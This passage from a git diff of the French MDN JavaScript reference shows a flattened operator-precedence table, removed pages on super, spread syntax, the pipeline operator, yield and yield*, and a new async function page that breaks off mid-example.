PrécédenceType d'opérateurAssociativitéOpérateurs individuels
0GroupementNon applicable( … )
1Accès à un membreGauche à droite… . …
Accès à un membre calculéGauche à droite… [ … ]
new (avec une liste d'arguments)Non applicablenew … ( … )
Appel de fonctionGauche à droite… ( … )
Chaînage optionnelGauche à droite?.
2new (sans liste d'arguments)Droite à gauchenew …
3Incrémentation suffixeNon applicable… ++
Décrémentation suffixeNon applicable… --
4NON logiqueDroite à gauche! …
NON binaireDroite à gauche~ …
Plus unaireDroite à gauche+ …
Négation unaireDroite à gauche- …
Incrémentation préfixeDroite à gauche++ …
Décrémentation préfixeDroite à gauche-- …
typeofDroite à gauchetypeof …
voidDroite à gauchevoid …
deleteDroite à gauchedelete …
awaitDroite à gaucheawait …
5ExponentiationDroite à gauche… ** …
MultiplicationGauche à droite… * …
DivisionGauche à droite… / …
ResteGauche à droite… % …
6AdditionGauche à droite… + …
SoustractionGauche à droite… - …
7Décalage binaire à gaucheGauche à droite… << …
Décalage binaire à droiteGauche à droite… >> …
Décalage binaire à droite non-signéGauche à droite… >>> …
8Inférieur strictGauche à droite… < …
Inférieur ou égalGauche à droite… <= …
Supérieur strictGauche à droite… > …
Supérieur ou égalGauche à droite… >= …
inGauche à droite… in …
instanceofGauche à droite… instanceof …
9Égalité faibleGauche à droite… == …
Inégalité faibleGauche à droite… != …
Égalité stricteGauche à droite… === …
Inégalité stricteGauche à droite… !== …
10ET binaireGauche à droite… & …
11OU exclusif (XOR) binaireGauche à droite… ^ …
12OU binaireGauche à droite… | …
13ET logiqueGauche à droite… && …
14OU logiqueGauche à droite… || …
15Opérateur conditionnel ternaireDroite à gauche… ? … : …
16AffectationDroite à gauche… = …
… += …
… -= …
… *= …
… /= …
… **= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
17yieldDroite à gaucheyield …
yield*Droite à gaucheyield* …
18DécompositionNon applicable... …
19VirguleGauche à droite… , …
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/super/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/super/index.html" deleted file mode 100644 index 05a40df1fc..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/super/index.html" +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: super -slug: Web/JavaScript/Reference/Opérateurs/super -tags: - - Classes - - ECMAScript 2015 - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/super ---- -
{{jsSidebar("Operators")}}
- -

Le mot-clé super est utilisé afin d'appeler ou d'accéder à des fonctions définies sur l'objet parent.

- -

Les expressions de la forme super.propriété et super[expr] sont valides pour n'importe quelle définition de méthode, que ce soit au sein d'une classe ou d'un littéral objet.

- -

Syntaxe

- -
super([arguments]); // Le constructeur parent est appelé
-super.functionOnParent([arguments]);
- -

Description

- -

Lorsqu'il est utilisé dans un constructeur, le mot-clé super est utilisé seul et doit apparaître avant le mot-clé this. Ce mot-clé peut également être utilisé afin d'appeler des fonctions sur un objet parent.

- -

Exemples

- -

Utiliser super avec les classes

- -

Ce fragment de code est tiré de cet exemple :

- -
class Rectangle {
-  constructor(hauteur, largeur) {
-    this.name = 'Rectangle';
-    this.hauteur = hauteur;
-    this.largeur = largeur;
-  }
-  coucou(){
-    console.log('Coucou, je suis un ' + this.name + '.');
-  }
-  get aire() {
-    return this.hauteur * this.largeur;
-  }
-  set aire(valeur) {
-    this.hauteur = Math.sqrt(valeur);
-    this.largeur = Math.sqrt(valeur);
-  }
-}
-
-class Carré extends Rectangle {
-  constructor(longueur) {
-
-    // Ici, on appelle le constructeur de Rectangle
-    // qui est l'objet « parent » de Carré
-    super(longueur, longueur);
-
-    // Pour les classes dérivées, super() doit être appelé
-    // avant d'utiliser 'this' sinon cela entraînera une
-    // exception ReferenceError.
-    this.name = 'Carré';
-  }
-}
- -

Utiliser super pour appeler des méthodes statiques

- -

Il est possible d'utiliser super pour invoquer des méthodes statiques :

- -
class Rectangle {
-  constructor() {}
-  static logNbCotes() {
-    return "J'ai 4 côtés";
-  }
-}
-
-class Carre extends Rectangle {
-  constructor(){}
-  static logDescription() {
-    return super.logNbCotes() + ' qui sont tous égaux';
-  }
-}
-Carre.logDescription(); // "J'ai 4 côtés qui sont tous égaux"
-
- -

Supprimer des propriétés parentes lèvera une exception

- -

Il n'est pas possible d'utiliser l'opérateur delete sur super.prop ou super[expr] pour supprimer une propriété de la classe parente, cela renverra une exception {{jsxref("ReferenceError")}} :

- -
class Base {
-  constructor() {}
-  toto() {}
-}
-
-class Dérivée extends Base {
-  constructor() {}
-  delete() {
-    delete super.toto;
-  }
-}
-
-new Dérivée().delete();
-// ReferenceError : suppression invalide avec 'super'
- -

Super.prop ne peut pas surcharger les propriétés non modifiables

- -

Lorsque des propriétés sont définies sans accès en écriture (non-writable), par exemple avec {{jsxref("Object.defineProperty")}}, super ne peut pas surcharger les valeurs de ces propriétés.

- -
class X {
-  constructor() {
-    Object.defineProperty(this, "prop", {
-      configurable: true,
-      writable: false,
-      value: 1
-    });
-  }
-}
-class Y extends X {
-  constructor() {
-    super();
-  }
-  toto(){
-    super.prop = 2; // Impossible de surcharger
-  }
-}
-var y = new Y();
-y.toto(); // TypeError "prop" is read-only
-console.log(y.prop); // 1
-
- -

Utiliser super.prop sur les littéraux objets

- -

super peut également être utilisé avec la notation littérale. Dans l'exemple qui suit, deux objets définissent chacun une méthode. Le deuxième objet utilise super pour appeler la méthode du premier objet. Cela fonctionne grâce à {{jsxref("Object.setPrototypeOf()")}} avec lequel on définit que le prototype de obj2 est obj1. De cette façon, super peut parcourir la chaîne de prototypes et trouver méthode1 dans obj1.

- -
var obj1 = {
-  méthode1() {
-    console.log("méthode 1");
-  }
-}
-
-var obj2 = {
-  méthode2() {
-    super.méthode1();
-  }
-}
-
-Object.setPrototypeOf(obj2, obj1);
-obj2.méthode2(); // affiche "méthode 1" dans la console
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-super-keyword', 'super')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.super")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/syntaxe_d\303\251composition/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/syntaxe_d\303\251composition/index.html" deleted file mode 100644 index 75f97a972f..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/syntaxe_d\303\251composition/index.html" +++ /dev/null @@ -1,262 +0,0 @@ ---- -title: Syntaxe de décomposition -slug: Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition -tags: - - ECMAScript 2015 - - ECMAScript6 - - JavaScript - - Reference - - Syntaxe -translation_of: Web/JavaScript/Reference/Operators/Spread_syntax ---- -
{{jsSidebar("Operators")}}
- -

La syntaxe de décomposition permet d'étendre un itérable (par exemple une expression de tableau ou une chaîne de caractères) en lieu et place de plusieurs arguments (pour les appels de fonctions) ou de plusieurs éléments (pour les littéraux de tableaux) ou de paires clés-valeurs (pour les littéraux d'objets).

- -
{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}
- - - -

Syntaxe

- -

Pour l'utilisation de la décomposition dans les appels de fonction :

- -
f(...objetIterable);
-
- -

Pour les littéraux de tableaux :

- -
[...objetIterable, 4, 5, 6]
- -

Pour les littéraux objets (nouvelle fonctionnalité pour ECMAScript, actuellement en proposition de niveau 4, finalisée) :

- -
let objClone = { ...obj };
- -

Exemples

- -

Utiliser la décomposition dans les appels de fonction

- -

Améliorer la fonction apply()

- -

Il arrive souvent qu'on veuille utiliser {{jsxref( "Function.prototype.apply")}} avec un tableau parmi les arguments de la fonction utilisée :

- -
function f(x, y, z) { }
-var args = [0, 1, 2];
-f.apply(null, args);
- -

avec la décomposition, on peut désormais écrire :

- -
function f(x, y, z) { }
-var args = [0, 1, 2];
-f(...args);
- -

Tout argument passé à une fonction peut être décomposé grâce à cette syntaxe et cette syntaxe peut être utilisée pour plusieurs arguments.

- -
function f(v, w, x, y, z) { }
-var args = [0, 1];
-f(-1, ...args, 2, ...[3]);
- -

Utiliser apply() avec l'opérateur new

- -

Avec ES5, il n'est pas possible d'utiliser new avec apply (selon ES5 apply effectue un appel [[Call]] et pas un appel [[Construct]]). Avec ES2015, la syntaxe de décomposition permet de le faire naturellement :

- -
var champsDate = lireChampsDate(maBaseDeDonnées);
-var d = new Date(...champsDate);
- -

Afin d'utiliser new avec un tableau de paramètres, sans utiliser la décomposition, il faudrait l'employer indirectement grâce à une application partielle :

- -
function applyAndNew(constructor, args) {
-   function partial () {
-      return constructor.apply(this, args);
-   };
-   if (typeof constructor.prototype === "object") {
-      partial.prototype = Object.create(constructor.prototype);
-   }
-   return partial;
-}
-
-
-function monConstructeur () {
-   console.log("arguments.length: " + arguments.length);
-   console.log(arguments);
-   this.prop1="val1";
-   this.prop2="val2";
-};
-
-var mesArguments = ["bi", "bop", "bup", null];
-var monConstructeurAvecArguments = applyAndNew(monConstructor, mesArguments);
-
-console.log(new monConstructeurAvecArguments);
-// (log fourni par monConstructeur):           arguments.length: 4
-// (log fourni par monConstructeur):           ["bi", "bop", "bup", null]
-// (log fourni par "new monConstructeurAvecArguments"): {prop1: "val1", prop2: "val2"}
-
- -

Utiliser la décomposition dans les littéraux de tableau

- -

Améliorer les littéraux de tableau

- -

À l'heure actuelle, sans la décomposition, si on a un tableau et qu'on souhaite créer un nouveau tableau composé du premier, on ne peut pas utiliser un littéral de tableau et il faut utiliser des fonctions comme {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}}, etc. Avec la syntaxe de décomposition, cela devient plus succinct :

- -
var articulations = ['épaules', 'genoux'];
-var corps = ['têtes', ...articulations, 'bras', 'pieds'];
-// ["têtes", "épaules", "genoux", "bras", "pieds"]
-
- -

Comme pour les fonctions, la syntaxe peut être utilisé plusieurs fois.

- -

Copier un tableau

- -
var arr = [1, 2, 3];
-var arr2 = [...arr];
-arr2.push(4);
-
-console.log(arr2); // [1, 2, 3, 4]
-console.log(arr);  // [1, 2, 3] (inchangé)
-
- -
-

Note : Lorsqu'on utilise la décomposition pour copier un tableau, celle-ci ne s'applique qu'au premier niveau de profondeur. Par conséquent, il peut ne pas convenir pour la copie des tableaux multidimensionnels (des tableaux imbriqués dans d'autres tableaux) comme le montre l’exemple suivant (il en va de même avec {{jsxref("Object.assign()")}} et la décomposition).

-
- -
var a = [[1], [2], [3]];
-var b = [...a]; // b vaut [[1], [2], [3]]
-
-b.shift().shift(); // *a* vaut désormais [[], [2], [3]];
-
- -

Une meilleure façon de concaténer des tableaux

- -

{{jsxref("Array.prototype.concat", "concat")}} est souvent utilisé afin de concaténer un tableau à la suite d'une autre. Avec ES5, on aurait le code suivant :

- -
var arr1 = [0, 1, 2];
-var arr2 = [3, 4, 5];
-// On ajoute les éléments de arr2 après ceux de arr1
-var nouveauTableau = arr1.concat(arr2);
- -

Avec ES2015 et la décomposition, on peut écrire :

- -
var arr1 = [0, 1, 2];
-var arr2 = [3, 4, 5];
-arr1 = [...arr1, ...arr2]; // arr1 vaut [0, 1, 2, 3, 4, 5]
-
- -

{{jsxref("Array.prototype.unshift", "unshift")}} est souvent utilisé afin d'insérer des valeurs d'un tableau au début d'un autre tableau. Avec ES5, on peut écrire :

- -
var arr1 = [0, 1, 2];
-var arr2 = [3, 4, 5];
-// On ajoute tous les éléments
-// de arr2 au début de arr1
-Array.prototype.unshift.apply(arr1, arr2) // arr1 vaut [3, 4, 5, 0, 1, 2]
- -

Avec ES2015 et la décomposition, on peut écrire :

- -
var arr1 = [4, 5, 6];
-var arr2 = [1, 2, 3];
-arr1 = [...arr2, ...arr1];
-// arr1 vaut désormais [1, 2, 3, 4, 5, 6]
-
- -
-

Note : Il y a une différence avec unshift() : ici, on crée un nouveau tableau qui est affecté à arr1, le tableau original de arr1 n'est pas modifié "sur place".

-
- -

Utiliser la décomposition avec les littéraux objet

- -

La proposition relative à la décomposition des propriétés (actuellement au stade de proposition de niveau 4) vise à ajouter la décomposition des propriétés pour les littéraux objets. Cela permet de copier les propriétés énumérables directement rattachées à un objet source sur un nouvel objet.

- -

Le clonage superficiel (qui ne rattache pas le prototype) ou la fusion d'objets peut donc être obtenue avec une syntaxe plus concise que celle utilisant {{jsxref("Object.assign()")}}.

- -
var profil = { prenom: 'Sarah', profilComplet: false };
-var profilMisAJour = { nom: 'Dupont', profilComplet: true };
-
-var clone = { ...profil };
-// Object { prenom: 'Sarah', profilComplet: false }
-
-var fusion = { ...profil, ...profilMisAJour };
-// Object { prenom: 'Sarah', nom: 'Dupont', profilComplet: true };
- -

On notera que {{jsxref("Object.assign()")}} déclenche les mutateurs, ce qui n'est pas le cas pour la syntaxe de décomposition.

- -

Il n'est pas possible de remplacer ou de recopier le comportement de la fonction {{jsxref("Object.assign()")}} :

- -
var profil = { prenom: 'Sarah', profilComplet: false };
-var profilMisAJour = { nom: 'Dupont', profilComplet: true };
-
-const fusionner = ( ...objets) => {...objets};
-var nouveauProfil = fusionner(profil, profilMisAJour);
-// Object { 0: { prenom: 'Sarah', profilComplet: false }, 1: { nom: 'Dupont', profilComplet: true } }
-
-var autreNouveauProfil = fusion({}, obj1, obj2);
-// Object { 0: {}, 1: { prenom: 'Sarah', profilComplet: false }, 2: { nom: 'Dupont', profilComplet: true } }
-
- -

Dans l'exemple précédent, la syntaxe de décomposition ne fonctionne pas comme on pourrait s'y attendre : il décompose les arguments en un tableau grâce au paramètre du reste.

- -

La décomposition ne s'applique qu'aux itérables

- -

Pour rappel : la syntaxe de décomposition ne s'applique qu'aux objets itérables :

- -
var obj = {"clé1" : "valeur1"};
-function maFonction(x) {
-  console.log(x); // undefined
-}
-maFonction(...obj);
-var args = [...obj];
-console.log(args, args.length) //[] 0
- -

Utiliser la décomposition avec de nombreuses valeurs

- -

Lorsqu'on utilise la décomposition (comme dans les exemples précédents), il faut faire attention à ne pas dépasser le nombre maximal d'arguments du moteur JavaScript. En effet, la décomposition place toutes les valeurs sources dans la pile. Pour plus d'informations, consulter {{jsxref( "Function.prototype.apply")}}.

- -

Les paramètres du reste

- -

La syntaxe des paramètres du reste ressemble à la syntaxe de décomposition mais est utilisée afin de destructurer des tableaux et des objets. D'une certaine façon, la syntaxe du reste est l'opposée de la décomposition : la première collecte plusieurs éléments et les condense en un seul élément tandis que la seconde explose les éléments. Pour plus d'informations, voir la page sur les paramètres du reste.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array-initializer')}}{{Spec2('ES2015')}}Définie dans plusieurs sections de la spécification : initialisateur de tableau, listes d'argument.
{{SpecName('ES2018', '#sec-object-initializer')}}{{Spec2('ES2018')}}Définie dans la section sur les initialisateurs d'objet.
{{SpecName('ESDraft', '#sec-array-initializer')}}{{Spec2('ESDraft')}}Aucune modification.
{{SpecName('ESDraft', '#sec-object-initializer')}}{{Spec2('ESDraft')}}Aucune modification.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.spread")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/tube/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/tube/index.html" deleted file mode 100644 index 2763987971..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/tube/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Tube -slug: Web/JavaScript/Reference/Opérateurs/Tube -tags: - - Experimental - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator ---- -
{{jsSidebar("Operators")}} {{SeeCompatTable}}
- -

L'opérateur expérimental tube (ou pipeline en anglais) |> (actuellement au niveau 1 des propositions) permet de créer des chaînes d'appel de fonctions de façon lisible. En fait, cet opérateur fournit un sucre syntaxique pour les appels de fonction avec un seul argument. On pourrait donc écrire :

- -
let url = "%21%" |> decodeURI;
- -

qui correspond exactement à :

- -
let url = decodeURI("%21%");
- -

Syntaxe

- -
expression |> function
- -

La valeur de expression est passé à function comme unique paramètre.

- -

Exemples

- -

Enchaîner des appels de fonction

- -

L'opérateur tube peut améliorer la lisibilité lorsqu'on enchaîne plusieurs fonctions.

- -
const doubler = (n) => n * 2;
-const incrementer = (n) => n + 1;
-
-// Sans l'opérateur tube
-doubler(incrementer(doubler(10))); // 42
-
-// Avec l'opérateur tube
-10 |> doubler |> incrementer |> doubler; // 42
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Brouillon de spécification pour la proposition de l'opérateur tubeNiveau 1Ne fait actuellement pas partie de la spécification ECMAScript.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.pipeline")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/yield/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/yield/index.html" deleted file mode 100644 index f6a5de53e6..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/yield/index.html" +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: yield -slug: Web/JavaScript/Reference/Opérateurs/yield -tags: - - ECMAScript 2015 - - Générateurs - - Itérateur - - JavaScript - - Opérateur -translation_of: Web/JavaScript/Reference/Operators/yield ---- -
{{jsSidebar("Operators")}}
- -

Le mot-clé yield est utilisé pour suspendre et reprendre une fonction génératrice ({{jsxref("Statements/function*", "function*")}} ou une fonction génératrice historique).

- -
{{EmbedInteractiveExample("pages/js/expressions-yield.html")}}
- - - -

Syntaxe

- -
[[rv =]] yield [[expression]];
- -
-
expression
-
Définit la valeur à retourner depuis la fonction génératrice via le protocole itérateur. Si omise, undefined sera retournée à la place.
-
rv
-
Retourne la valeur optionnelle passée à la méthode next() pour reprendre son exécution.
-
- -

Description

- -

Le mot-clé yield suspend une fonction génératrice et la valeur de l'expression suivant le mot-clé yield est retournée à l'appelant du générateur. Il peut être vu comme une version générateur du mot-clé return.

- -

Le mot-clé yield ne peut être appelé qu'à partir de la fonction génératrice qui le contient. Il ne peut pas être utilisé depuis des fonctions imbriquées ou avec des callbacks.

- -

Le mot-clé yield retourne en fait un objet IteratorResult ayant deux propriétés, value et done. La propriété value est le résultat de l'évaluation de l'expression yield, et done est false, indiquant que la fonction génératrice n'est pas complètement terminée.

- -

Une fois suspendue sur une expression yield, l'exécution du code du générateur reste suspendue jusqu'à ce que la méthode next() du générateur soit appelée. Chaque fois que la méthode next() du générateur est appelée, le générateur reprend l'exécution et s'exécute jusqu'à ce qu'elle atteigne l'une des situations suivantes :

- -
    -
  • -

    un yield, ce qui provoque une nouvelle pause du générateur et retourne la nouvelle valeur du générateur ; la prochaine fois que next() sera appelé, l'exécution reprendra à l'instruction immédiatement après le yield ;

    -
    • -
  • -

    {{jsxref ("Statements/throw", "throw")}} est utilisé pour déclencher une exception depuis le générateur ; cela arrête entièrement l'exécution du générateur et l'exécution reprend dans l'appelant, comme c'est normalement le cas lorsqu'une exception est déclenchée ;

    -
    • -
  • -

    la fin de la fonction génératrice est atteinte ; dans ce cas, l'exécution du générateur se termine et un IteratorResult est retourné à l'appelant, dans lequel la valeur est {{jsxref ("undefined")}} et done est true ;

    -
    • -
  • -

    une instruction {{jsxref ("Statements/return", "return")}} est atteinte ; dans ce cas, l'exécution du générateur se termine et un IteratorResult est retourné à l'appelant dans lequel la value est la valeur spécifiée par l'instruction return et done vaut true.

    -
    • -
- -

Si une valeur optionnelle est passée à la méthode next() du générateur, cette valeur devient la valeur retournée par l'opération yield en cours du générateur.

- -

Entre le chemin de code du générateur, ses opérateurs yield, et la possibilité de spécifier une nouvelle valeur de départ en la passant à {{jsxref ("Generator.prototype.next()")}}, les générateurs offrent énormément de puissance et de contrôle.

- -

Exemples

- -

Le code suivant est la déclaration d'un exemple de fonction génératrice :

- -
function* compteVentesPommes () {
-  var listeVentes = [3, 7, 5];
-  for (var i = 0; i < listeVentes.length; i++) {
-    yield listeVentes[i];
-  }
-}
- -

Une fois qu'une fonction génératrice est définie, elle peut être utilisée en construisant un itérateur comme indiqué.

- -
var magasinPommes = compteVentesPommes(); // Générateur { }
-console.log(magasinPommes.next()); // { value: 3, done: false }
-console.log(magasinPommes.next()); // { value: 7, done: false }
-console.log(magasinPommes.next()); // { value: 5, done: false }
-console.log(magasinPommes.next()); // { value: undefined, done: true }
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES2015', '#prod-YieldExpression', 'Yield')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#prod-YieldExpression', 'Yield')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.yield")}}

- -

Notes spécifiques à Firefox

- -
    -
  • À partir de Gecko 29 {{geckoRelease(29)}}, une fonction génératrice terminée ne déclenche plus une {{jsxref("TypeError")}} "generator has already finished". À la place, elle renvoie un objet IteratorResult tel que { value: undefined, done: true } ({{bug(958951)}}).
    • -
  • À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression yield a été mise à jour afin d'être conforme aux spécifications ES2015 ({{bug(981599)}}): -
      -
    • L'expression après le mot-clé yield est optionnelle et l'omettre ne déclenche plus une {{jsxref("SyntaxError")}} : function* compteVentesPommes() { yield; }
      • -
    -
    • -
- -

Voir aussi

- -
    -
  • Le protocole itérateur
    • -
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • L'opérateur {{jsxref("Opérateurs/yield*", "yield*")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/yield_star_/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/yield_star_/index.html" deleted file mode 100644 index 3235d87dc1..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/yield_star_/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: yield* -slug: Web/JavaScript/Reference/Opérateurs/yield* -tags: - - ECMAScript 2015 - - Generators - - Iterable - - Iterator - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/yield* ---- -
{{jsSidebar("Operators")}}
- -

Une expression yield* est utilisée afin de déléguer le mécanisme d'itération/génération à un autre {{jsxref("Instructions/function*", "générateur")}} ou à un autre objet itérable.

- -
{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}
- - - -

Syntaxe

- -
 yield* [[expression]];
- -
-
expression
-
L'expression qui renvoie un objet itérable.
-
- -

Description

- -

L'expression yield* itère sur l'opérande et génère chaque valeur générée par l'opérande.

- -

La valeur de l'expression yield* est la valeur renvoyée par l'itérateur lorsque celui est terminé (la propriété done vaut true).

- -

Exemples

- -

Délégation de la génération

- -

Dans le code suivant, les valeurs générées par g1() sont renvoyées grâce aux appels à la fonction next(), comme pour celles renvoyées par g2().

- -
function* g1() {
-  yield 2;
-  yield 3;
-  yield 4;
-}
-function* g2() {
-  yield 1;
-  yield* g1();
-  yield 5;
-}
-
-var iterator = g2();
-
-console.log(iterator.next()); // { value: 1, done: false }
-console.log(iterator.next()); // { value: 2, done: false }
-console.log(iterator.next()); // { value: 3, done: false }
-console.log(iterator.next()); // { value: 4, done: false }
-console.log(iterator.next()); // { value: 5, done: false }
-console.log(iterator.next()); // { value: undefined, done: true }
-
- -

Les autres objets itérables

- -

yield* peut également être utilisé avec d'autres sortes d'itérables (chaînes, tableaux ou arguments) :

- -
function* g3() {
-  yield* [1, 2];
-  yield* "34";
-  yield* Array.from(arguments);
-}
-
-var iterator = g3(5, 6);
-
-console.log(iterator.next()); // { value: 1, done: false }
-console.log(iterator.next()); // { value: 2, done: false }
-console.log(iterator.next()); // { value: "3", done: false }
-console.log(iterator.next()); // { value: "4", done: false }
-console.log(iterator.next()); // { value: 5, done: false }
-console.log(iterator.next()); // { value: 6, done: false }
-console.log(iterator.next()); // { value: undefined, done: true }
- -

La valeur de l'expression yield*

- -

yield* est une expression et non une instruction, elle est donc évaluée et fournit une valeur :

- -
function* g4() {
-  yield* [1, 2, 3];
-  return "toto";
-}
-
-var résultat;
-
-function* g5() {
-  résultat = yield* g4();
-}
-
-var iterator = g5();
-
-console.log(iterator.next()); // { value: 1, done: false }
-console.log(iterator.next()); // { value: 2, done: false }
-console.log(iterator.next()); // { value: 3, done: false }
-console.log(iterator.next()); // { value: undefined, done: true },
-                              // g4() renvoie{ value: "toto", done: true } at this point
-
-console.log(résultat);          // "toto"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.yield_star")}}

- -

Notes relatives à Firefox

- -
    -
  • À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression yield a été mise à jour pour être conforme aux spécifications ES2015 ({{bug(981599)}}) : - -
      -
    • La restriction concernant les terminateurs de lignes est désormais implémentée. Il n'est pas autorisé d'avoir un terminateur de ligne entre "yield" et "*". Le code suivant lèvera une exception {{jsxref("SyntaxError")}}: - 
      function* toto() {
-  yield
-  *[];
-}
      -
      • -
    -
    • -
- -

Voir aussi

- -
    -
  • Le protocole itérateur
    • -
  • L'instruction {{jsxref("Instruction/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • {{jsxref("Opérateurs/yield", "yield")}}
    • -
diff --git a/files/fr/web/javascript/reference/statements/async_function/index.html b/files/fr/web/javascript/reference/statements/async_function/index.html new file mode 100644 index 0000000000..45c7f441b8 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/async_function/index.html @@ -0,0 +1,271 @@ +--- +title: async function +slug: Web/JavaScript/Reference/Instructions/async_function +tags: + - Experimental + - Function + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/async_function +--- +
{{jsSidebar("Statements")}}
+ +

La déclaration async function définit une fonction asynchrone qui renvoie un objet {{jsxref("Objets_globaux/AsyncFunction","AsyncFunction")}}. Une fonction asynchrone est une fonction qui s'exécute de façon asynchrone grâce à la boucle d'évènement en utilisant une promesse ({{jsxref("Promise")}}) comme valeur de retour.

+ +
+

On peut également définir des fonctions asynchrones grâce au constructeur {{jsxref("AsyncFunction")}} et via une {{jsxref("Opérateurs/async_function", "expression de fonction asynchrone","",1)}}.

+
+ +
{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}
+ + + +

Syntaxe

+ +
async function name([param[, param[, ... param]]]) {
+   instructions
+}
+
+ +

Paramètres

+ +
+
name
+
Le nom de la fonction.
+
+ +
+
param
+
Le nom d'un argument à passer à la fonction.
+
+ +
+
instructions
+
Les instructions qui composent le corps de la fonction.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) qui sera résolue avec la valeur renvoyée par la fonction asynchrone ou qui sera rompue s'il y a une exception non interceptée émise depuis la fonction asynchrone.

+ +

Description

+ +

Une fonction async peut contenir une expression {{jsxref("Opérateurs/await", "await")}} qui interrompt l'exécution de la fonction asynchrone et attend la résolution de la promesse passée Promise. La fonction asynchrone reprend ensuite puis renvoie la valeur de résolution.
+
+ Le mot-clé await est uniquement valide au sein des fonctions asynchrones. Si ce mot-clé est utilisé en dehors du corps d'une fonction asynchrone, cela provoquera une exception {{jsxref("SyntaxError")}}.

+ +
+

Note : Lorsqu'une fonction aysnchrone est mise en pause, la fonction appelante continue son exécution (car elle a reçu la promesse implicite renvoyée par la fonction async).

+
+ +
+

Note : Le but des fonctions async/await est de simplifier l'utilisation synchrone des promesses et d'opérer sur des groupes de promesses. De la même façon que les promesses sont semblables à des callbacks structurés, async/await est semblable à la combinaison des générateurs et des promesses.

+
+ +

Exemples

+ +

Exemple simple

+ +
var resolveAfter2Seconds = function() {
+  console.log("Initialisation de la promesse lente");
+  return new Promise(resolve => {
+    setTimeout(function() {
+      resolve("lente");
+      console.log("La promesse lente est terminée");
+    }, 2000);
+  });
+};
+
+var resolveAfter1Second = function() {
+  console.log("Initialisation de la promesse rapide");
+  return new Promise(resolve => {
+    setTimeout(function() {
+      resolve("rapide");
+      console.log("La promesse rapide est terminée");
+    }, 1000);
+  });
+};
+
+var sequentialStart = async function() {
+  console.log('==Début séquentiel==');
+
+  // 1. L'exécution atteint ce point quasi-instantanément
+  const lente = await resolveAfter2Seconds();
+  console.log(lente); // 2. cela s'exécute 2s après 1.
+
+  const rapide = await resolveAfter1Second();
+  console.log(rapide); // 3. cela s'exécute 3s après 1.
+}
+
+var concurrentStart = async function() {
+  console.log('==Début concurrentiel avec await==');
+  const lente = resolveAfter2Seconds(); // le minuteur démarre immédiatement
+  const rapide = resolveAfter1Second();  // le minuteur démarre immédiatement
+
+  // 1. L'exécution atteint ce point quasi-instantanément
+  console.log(await lente); // 2. s'exécute 2s après 1.
+  console.log(await rapide); // 3. s'exécute 2s après 1., immédiatement après 2.,
+                             // car "rapide" est déjà résolue
+}
+
+var concurrentPromise = function() {
+  console.log('==Début concurrentiel avec Promise.all==');
+  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) => {
+    console.log(messages[0]); // lente
+    console.log(messages[1]); // rapide
+  });
+}
+
+var parallel = async function() {
+  console.log('==Exécution parallèle avec await Promise.all==');
+
